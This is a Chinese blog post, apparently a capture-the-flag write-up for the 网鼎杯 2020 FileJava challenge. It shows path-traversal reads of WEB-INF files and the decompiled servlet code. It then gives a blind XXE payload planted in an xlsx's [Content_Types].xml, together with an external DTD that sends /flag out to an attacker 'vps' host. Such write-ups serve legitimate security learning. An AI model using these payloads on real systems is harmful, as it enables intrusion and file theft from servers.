首页 > 编程语言 >再遇java无回显XXE

再遇java无回显XXE

时间:2024-03-17 18:12:55浏览次数:32  
标签:文件 java String .. 无回显 request filename XXE fileName

来自:[网鼎杯 2020青龙组]FileJava

hgame遇到一个无回显XXE,这次找java题恰好又找到一个,虽然是四年前的题,但思路大差不差,都是传dtd文件,然后反弹shell,那么重点我们就来看代码审计部分。

进入发现是一个文件上传:

随便传一个文件看看:

给了一个下载地址,访问试试:

能直接下载下来,抓个包看看:

可以发现这个路由有个filename的参数,很自然我们想到任意文件下载漏洞,../../../试试:

被删掉了。

读flag有waf,意料之中。确实也不可能这么简单就读出来了,应该是另有玄机的。接下来轻车熟路去访问web.xml,看看能不能拿到配置:

?filename=../../../../WEB-INF/web.xml

出不了就多套几层目录穿越。

根据配置信息,把class文件一个个读下来:

../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

拿去反编译,可以用JADX,也可以用IDEA。

这里黑名单看的很清楚:

在UploadServlet.class处发现一个报错:

这里的XML解析是有点问题吗?

熟悉java代码审计的师傅,应该很快反应过来了xxe漏洞主要看加载包,函数名。像如下关键接口:

XMLReader

SAXBuilder

SAXReader

SAXParserFactory

Digester

DocumentBuilderFactory

这些都是有说法的,详见网鼎杯2020青龙组——filejava通关思路_[网鼎杯 2020 青龙组]filejava-CSDN博客

我们这里分析负责上传和负责下载的类:

//DownloadServlet.class
//...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String fileName = request.getParameter("filename"); fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8"); System.out.println("filename=" + fileName); if (fileName != null && fileName.toLowerCase().contains("flag")) { request.setAttribute("message", "禁止读取"); request.getRequestDispatcher("/message.jsp").forward(request, response); } else { String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload"); String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath); File file = new File(path + "/" + fileName); if (!file.exists()) { request.setAttribute("message", "您要下载的资源已被删除!"); request.getRequestDispatcher("/message.jsp").forward(request, response); } else { String realname = fileName.substring(fileName.indexOf("_") + 1); response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8")); FileInputStream in = new FileInputStream(path + "/" + fileName); ServletOutputStream out = response.getOutputStream(); byte[] buffer = new byte[1024]; int len = false; int len; while((len = in.read(buffer)) > 0) { out.write(buffer, 0, len); } in.close(); out.close(); } }
//...

除了不让读flag,就没有什么限制了。

//UploadServlet.class
//...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
        String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
        File tempFile = new File(tempPath);
        if (!tempFile.exists()) {
            tempFile.mkdir();
        }

        String message = "";

        try {
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(102400);
            factory.setRepository(tempFile);
            ServletFileUpload upload = new ServletFileUpload(factory);
            upload.setHeaderEncoding("UTF-8");
            upload.setFileSizeMax(1048576L);
            upload.setSizeMax(10485760L);
            if (!ServletFileUpload.isMultipartContent(request)) {
                return;
            }

            List<FileItem> list = upload.parseRequest(request);
            Iterator var10 = list.iterator();

            label56:
            while(true) {
                while(true) {
                    if (!var10.hasNext()) {
                        break label56;
                    }

                    FileItem fileItem = (FileItem)var10.next();
                    String filename;
                    String fileExtName;
                    if (fileItem.isFormField()) {
                        filename = fileItem.getFieldName();
                        fileExtName = fileItem.getString("UTF-8");
                    } else {
                        filename = fileItem.getName();
                        if (filename != null && !filename.trim().equals("")) {
                            fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                            InputStream in = fileItem.getInputStream();
                            if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                                try {
                                    Workbook wb1 = WorkbookFactory.create(in);
                                    Sheet sheet = wb1.getSheetAt(0);
                                    System.out.println(sheet.getFirstRowNum());
                                } catch (InvalidFormatException var20) {
                                    System.err.println("poi-ooxml-3.10 has something wrong");
                                    var20.printStackTrace();
                                }
                            }

                            String saveFilename = this.makeFileName(filename);
                            request.setAttribute("saveFilename", saveFilename);
                            request.setAttribute("filename", filename);
                            String realSavePath = this.makePath(saveFilename, savePath);
                            FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
                            byte[] buffer = new byte[1024];
                            int len = false;

                            int len;
                            while((len = in.read(buffer)) > 0) {
                                out.write(buffer, 0, len);
                            }

                            in.close();
                            out.close();
                            message = "文件上传成功!";
                        }
                    }
                }
            }
        } catch (FileUploadException var21) {
            var21.printStackTrace();
        }

        request.setAttribute("message", message);
        request.getRequestDispatcher("/ListFileServlet").forward(request, response);
    }
//...

尤其是:

这里

对文件项列表进行迭代,如果文件项是一个普通的表单字段,那么获取字段名和字段值;如果文件项是一个文件,那么获取文件名和文件输入流。

如果文件名以"excel-"开头并且文件扩展名为"xlsx",那么使用Apache POI库读取Excel文件并打印第一个工作表的第一行的行号。

很难不想到无回显XXE,事实上也的确如此。

那么我们的思路就有了,让系统访问我们构造的恶意XXE代码,从而执行命令。

首先我们要知道xlsx本质上也是一个压缩包文件,word的docx文件等亦是如此,对这些文件binwalk过的师傅应该也都知道,里面会有一些XML存在,而这个XML就给我们提供了写XXE代码的跳板。

 

所以我们的绕过方法就是:

先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx,上传。

XXE代码:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://vps/1.dtd">
%remote;
%all;
]>
<root>&send;</root>

服务器上挂上1.dtd文件:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:port/%file;'>">

上述这种是外带flag直接读,应该还有种反弹shell的方法,但是我懒得写了hhhh

添加这个XXE代码,ip是等下vps起的http服务的ip,可以默认80,也可以选一个端口:

vps上挂1.dtd,ip是等下可以nc的ip,当然也可以直接起默认80ip,不用nc直接等回显就行:

思路很简单就是这样,但是NSS的靶机弹不出来,BUU的靶机根本打不开(

标签:文件,java,String,..,无回显,request,filename,XXE,fileName
From: https://www.cnblogs.com/EddieMurphy-blogs/p/18078704

相关文章

  • Java创建数组、赋值的四种方式,声明+创建+初始化 详解
    @目录一、创建数组的四种方式二、详解三、数组存储的弊端一、创建数组的四种方式以int数据类型为例@TestpublicvoidtestNewArray(){//创建数组//法一int[]arr1=newint[]{1,2,3,4,5};System.out.println(arr1.length+""+arr1[2]);//5......
  • java参数类型详细介绍(简单易懂)
    目录1、参数类型分布图1.1浮点型1.2 字符型char 1.2.1 char大小1.3字符串:(String-不可变字符串)1.3.1Jvm内存图1.3.2开辟空间个数注意1.3.3使用==时注意1.3.4字符串拼接举例 1.3.5String常见的方法1.4字符串:(StringBuffer-可变字符串、StringBuilder-可变......
  • Java学习笔记:字符串
    目录Java学习笔记:字符串String创建String对象内存模型String比较Scanner验证键入的字符串本质是new出来的练习案例:判断账户和密码是否一致遍历字符串统计字符次数字符串反转StringBuilderStringBuilder构造方法链式编程拼接字符串StringJoiner总结必须学习使用JDKAPI帮助文档​......
  • Java学习笔记:字符串
    Java学习笔记:字符串Java学习笔记:字符串String创建String对象内存模型String比较Scanner验证键入的字符串本质是new出来的练习案例:判断账户和密码是否一致遍历字符串统计字符次数字符串反转StringBuilderStringBuilder构造方法链式编程拼接字符串StringJoiner总结必须......
  • web后端-java框架-spring Boot
    springBootweb入门:1)创建springboot工程此处我使用的jdk版本为11,在选择版本时,如果服务器URL为https://start.spring.io ,那么java下拉选项中只有17或者21,因此将服务器URL为https://start.aliyun.com\即可点击下一步,将springWeb依赖添加进去。HTTP协议:1)请求协议: 2)......
  • JavaScript基础 —— 学习 第四天(完结)
    一、对象(一)对象介绍对象:object是JavaScript里面的一种数据类型可以看作一种无序的数据的集合可以详细的描述某个事物null是空对象对象是由属性和方法组成的属性:手机特征大小颜色什么的方法:能进行的一些行为手机打电话<body><script>let对象名={......
  • java学习day1
    ideaJava快捷键psvm生成一个main方法sout输出注释//单行注释/**/多行注释/***/JavaDoc文档注释关键字![3113a776e87bce62993b5ccd4a02801](C:\Users\lenovo\Documents\WeChatFiles\wxid_ulswcuy83w1m22\FileStorage\Temp\3113a776e87bce62993b5ccd4a02801.png)......
  • 【Java面试题-基础知识03】Java线程连环问
    1、Java中的线程是什么?在Java中,线程是程序执行流的最小单元。每个Java程序都至少有一个主线程,也称为主执行线程,它是程序开始执行时自动创建的。除了主线程外,程序员还可以创建额外的线程来执行并发任务。2、创建线程的方式有哪些?Java中的线程由java.lang.Thread类表示,可以通过两......
  • JavaWeb - HTML基础
    常用标签font文本标签<fontface="黑体"color="#0099FF">黑体效果</font><fontsize="3"color="#990000">3号文字效果</font><!--face=字体样式,color=颜色,size:字体大小-->p段落标签、br换行标签本段落内容...<p>第二段内容<......
  • Java学习七之类和接口
    抽象类抽象类概念在面向对象的概念中,所有的对象都是通过类来描绘的,但是反过来,并不是所有的类都是用来描绘对象的,如果一个类中没有包含足够的信息来描绘一个具体的对象,这样的类就是抽象类。比如:在打印图形例子中,我们发现,父类Shape中的draw方法好像并没有什么实际工......